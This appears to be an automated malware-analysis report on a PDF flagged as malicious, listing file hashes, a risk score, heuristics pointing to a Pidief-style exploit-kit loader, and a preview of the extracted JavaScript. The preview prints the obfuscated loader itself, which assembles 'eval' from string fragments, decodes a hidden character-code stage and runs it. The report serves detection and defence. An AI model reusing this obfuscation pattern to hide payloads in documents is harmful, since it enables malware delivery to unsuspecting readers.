Malicious PDF — malware analysis report

Static analysis result for SHA-256 a5a3c4771883c784…

MALICIOUS

PDF

45.2 KB First seen: 2026-05-08
MD5: 5f4ddbb17b1ef7a60f740b5aa517c215 SHA-1: b03a0b0c2f4d3f8c9a7ff23403d28ed5afc9bbe6 SHA-256: a5a3c4771883c7849e8b5000556ade082da6c6d88f1d77fa5d7df73d238313e7
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB246 439 bytes
SHA-256: 4d4329963a94411e058fad2b4a914daf8ee20d44bad71b7bf37b6406474f16b2
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
psb='';
dob=('qwrwqr','tit');
e('tmn=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
rfn=e('String.fr'+tmn.substr(0,10));
mctlz = e(tmn.substr(10)['replace'](/u/g,','));
e('k=mctlz.length');
for (i = 0; i < k; i+=2) {
	htz = mctlz[i+1] + ('erybjkerl',mctlz[i]);
	psb += rfn(htz);
}
e(psb);

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